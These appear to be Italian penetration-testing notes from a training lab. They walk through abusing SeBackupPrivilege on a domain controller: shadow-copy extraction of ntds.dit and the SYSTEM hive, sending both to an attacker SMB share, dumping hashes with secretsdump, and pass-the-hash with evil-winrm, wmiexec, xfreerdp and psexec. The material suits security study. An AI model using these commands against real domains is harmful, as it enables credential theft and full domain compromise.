tags: priv_esc Windows_Privilage_Escalation SeBackupPrivilage
Se sei in un Domain Controller dobbiamo catturare il file NTDS.dit e SYSTEM per ottenere il root, per farlo segui questa procedura:
Per prima cosa crea una cartella dove puoi scrivere:
mkdir C:\TempOra dirigiti all’interno di questa cartella e digita i seguenti comandi:
cmd /c "echo set context persistent nowriters > C:\Temp\backup.dsh"
cmd /c "echo add volume c: alias shadow_c >> C:\Temp\backup.dsh"
cmd /c "echo create >> C:\Temp\backup.dsh"
cmd /c "echo expose %shadow_c% z: >> C:\Temp\backup.dsh"Il file generato deve avere questo aspetto:
set context persistent nowriters
add volume c: alias shadow_c
create
expose %shadow_c% z:Ho usato cmd perchè powershell fa i capricci.
Ora avvia il progamma appena generato con il seguente comando:
diskshadow /s C:\Temp\backup.dshL’output è un qualcosa del genere:
diskshadow /s C:\Temp\backup.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 2/14/2026 9:13:22 AM
-> set context persistent nowriters
-> add volume c: alias shadow_c
-> create
Alias shadow_c for shadow ID {bcc04bb0-5db9-441d-9784-c802211b0093} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {370a6835-45ae-42f1-a690-e647e77d71f7} set as environment variable.
Querying all shadow copies with the shadow copy set ID {370a6835-45ae-42f1-a690-e647e77d71f7}
* Shadow copy ID = {bcc04bb0-5db9-441d-9784-c802211b0093} %shadow_c%
- Shadow copy set: {370a6835-45ae-42f1-a690-e647e77d71f7} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\ [C:\]
- Creation time: 2/14/2026 9:13:22 AM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
- Originating machine: BabyDC.baby.vl
- Service machine: BabyDC.baby.vl
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %shadow_c% z:
-> %shadow_c% = {bcc04bb0-5db9-441d-9784-c802211b0093}
The shadow copy was successfully exposed as z:\.
->Cerca la frase: -> Shadow copy exposed as Z:\.
Se il comando sopra ha funzionato, ora hai un disco Z: montato dal quale possiamo estrarre il file ntds.dit con il seguente comando:
robocopy /b Z:\Windows\NTDS\ C:\Temp\ ntds.dit-
Cosa fa: Copia il file fisico del database di Active Directory.
-
Perché usiamo Z:? Perché su C: il file è “lockato” (in uso) e Windows non ti permette di toccarlo. Su Z: (la Shadow Copy) è fermo e accessibile.
-
Contenuto: Contiene gli user, i gruppi e gli hash delle password (criptati).
Ora dobbiamo prenderci ancora un file con il seguente comando:
reg save hklm\system C:\Temp\system.hiveImmagina la scena così:
-
ntds.ditè una Cassaforte chiusa. Dentro ci sono tutti i lingotti d’oro (gli hash delle password di tutti gli utenti). -
system.hiveè la Chiave per aprire quella cassaforte.
Ora trasferisci questi file sulla tua macchina attaccante, per farlo in questo caso userò gli strumenti di impacket:
Sulla tua macchina attaccante digita:
impacket-smbserver -smb2support -username gino -password password public shareMentre sulla macchina vittima digita:
#Prima autenticati
net use \\10.10.16.89\public /user:gino password
#Poi copia i file
copy C:\Temp\system.hive \\10.10.16.89\public
copy C:\Temp\ntds.dit \\10.10.16.89\public
Ora che hai i due file sulla tua macchina attaccante puoi estrarre gli hash delle password con il seguente comando:
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:5fa67a134024d41bb4ff8bfd7da5e2b5:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:ad08cbabedff5acb70049bef721524a23375708cadefcb788704ba00926944f4
Administrator:aes128-cts-hmac-sha1-96:ac7aa518b36d5ea26de83c8d6aa6714d
Administrator:des-cbc-md5:d38cb994ae806b97
BABYDC$:aes256-cts-hmac-sha1-96:1a7d22edfaf3a8083f96a0270da971b4a42822181db117cf98c68c8f76bcf192
BABYDC$:aes128-cts-hmac-sha1-96:406b057cd3a92a9cc719f23b0821a45b
BABYDC$:des-cbc-md5:8fef68979223d645
krbtgt:aes256-cts-hmac-sha1-96:9c578fe1635da9e96eb60ad29e4e4ad90fdd471ea4dff40c0c4fce290a313d97
krbtgt:aes128-cts-hmac-sha1-96:1541c9f79887b4305064ddae9ba09e14
krbtgt:des-cbc-md5:d57383f1b3130de5
baby.vl\Jacqueline.Barnett:aes256-cts-hmac-sha1-96:851185add791f50bcdc027e0a0385eadaa68ac1ca127180a7183432f8260e084
baby.vl\Jacqueline.Barnett:aes128-cts-hmac-sha1-96:3abb8a49cf283f5b443acb239fd6f032
baby.vl\Jacqueline.Barnett:des-cbc-md5:01df1349548a206b
baby.vl\Ashley.Webb:aes256-cts-hmac-sha1-96:fc119502b9384a8aa6aff3ad659aa63bab9ebb37b87564303035357d10fa1039
baby.vl\Ashley.Webb:aes128-cts-hmac-sha1-96:81f5f99fd72fadd005a218b96bf17528
baby.vl\Ashley.Webb:des-cbc-md5:9267976186c1320e
baby.vl\Hugh.George:aes256-cts-hmac-sha1-96:0ea359386edf3512d71d3a3a2797a75db3168d8002a6929fd242eb7503f54258
baby.vl\Hugh.George:aes128-cts-hmac-sha1-96:50b966bdf7c919bfe8e85324424833dc
baby.vl\Hugh.George:des-cbc-md5:296bec86fd323b3e
baby.vl\Leonard.Dyer:aes256-cts-hmac-sha1-96:6d8fd945f9514fe7a8bbb11da8129a6e031fb504aa82ba1e053b6f51b70fdddd
baby.vl\Leonard.Dyer:aes128-cts-hmac-sha1-96:35fd9954c003efb73ded2fde9fc00d5a
baby.vl\Leonard.Dyer:des-cbc-md5:022313dce9a252c7
baby.vl\Ian.Walker:aes256-cts-hmac-sha1-96:54affe14ed4e79d9c2ba61713ef437c458f1f517794663543097ff1c2ae8a784
baby.vl\Ian.Walker:aes128-cts-hmac-sha1-96:78dbf35d77f29de5b7505ee88aef23df
baby.vl\Ian.Walker:des-cbc-md5:bcb094c2012f914c
baby.vl\Connor.Wilkinson:aes256-cts-hmac-sha1-96:55b0af76098dfe3731550e04baf1f7cb5b6da00de24c3f0908f4b2a2ea44475e
baby.vl\Connor.Wilkinson:aes128-cts-hmac-sha1-96:9d4af8203b2f9e3ecf64c1cbbcf8616b
baby.vl\Connor.Wilkinson:des-cbc-md5:fda762e362ab7ad3
baby.vl\Joseph.Hughes:aes256-cts-hmac-sha1-96:2e5f25b14f3439bfc901d37f6c9e4dba4b5aca8b7d944957651655477d440d41
baby.vl\Joseph.Hughes:aes128-cts-hmac-sha1-96:39fa92e8012f1b3f7be63c7ca9fd6723
baby.vl\Joseph.Hughes:des-cbc-md5:02f1cd9e52e0f245
baby.vl\Kerry.Wilson:aes256-cts-hmac-sha1-96:db5f7da80e369ee269cd5b0dbaea74bf7f7c4dfb3673039e9e119bd5518ea0fb
baby.vl\Kerry.Wilson:aes128-cts-hmac-sha1-96:aebbe6f21c76460feeebea188affbe01
baby.vl\Kerry.Wilson:des-cbc-md5:1f191c8c49ce07fe
baby.vl\Teresa.Bell:aes256-cts-hmac-sha1-96:8bb9cf1637d547b31993d9b0391aa9f771633c8f2ed8dd7a71f2ee5b5c58fc84
baby.vl\Teresa.Bell:aes128-cts-hmac-sha1-96:99bf021e937e1291cc0b6e4d01d96c66
baby.vl\Teresa.Bell:des-cbc-md5:4cbcdc3de6b50ee9
baby.vl\Caroline.Robinson:aes256-cts-hmac-sha1-96:6fe5d46e01d6cf9909f479fb4d7afac0bd973981dd958e730a734aa82c9e13af
baby.vl\Caroline.Robinson:aes128-cts-hmac-sha1-96:f34e6c0c8686a46eea8fd15a361601f9
baby.vl\Caroline.Robinson:des-cbc-md5:fd40190d579138df
[*] Cleaning up... Connessione Tramite Hash
Evil-Winrm
Se la porta 5985 (WinRM) è aperta, questo è lo strumento migliore in assoluto. Non carica file strani, usa protocolli nativi di amministrazione Windows e ti dà una shell PowerShell stabile e colorata.
evil-winrm -i 10.129.4.113 -u Administrator -H <Solo_Hash_NT>nota
Fai attenzione all’hash, questo strumento vuole solo la seconda parte dell’hash, per esempio di questo hash aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d vuole solo ee4457ae59f1e3fbd764e33d9cef123d
WMIexec (Il Ninja)
Fa parte della suite Impacket (come psexec), ma lavora in modo diverso. Invece di caricare un .exe, usa WMI (Windows Management Instrumentation) per eseguire comandi.
impacket-wmiexec -hashes <LM:NT> [email protected]XFreeRDP (L’Interfaccia Grafica)
Vuoi vedere il desktop come se fossi seduto davanti al PC? Puoi fare Pass-The-Hash anche con il Desktop Remoto (RDP), grazie a una funzione chiamata “Restricted Admin Mode”.
xfreerdp /v:10.129.4.113 /u:Administrator /pth:<Solo_Hash_NT> /cert:ignoreAnche lui vuole solo l’hash NT senza quello LM come Evil-Winrm.
PsExec
psexec è il “nonno” di tutti i tool, ma ha un grosso difetto: è rumoroso. Per funzionare, deve caricare un file .exe sul disco della vittima e creare un servizio. Windows Defender lo blocca quasi sempre oggi.
user@attackerpc$ python3 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 [email protected]
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system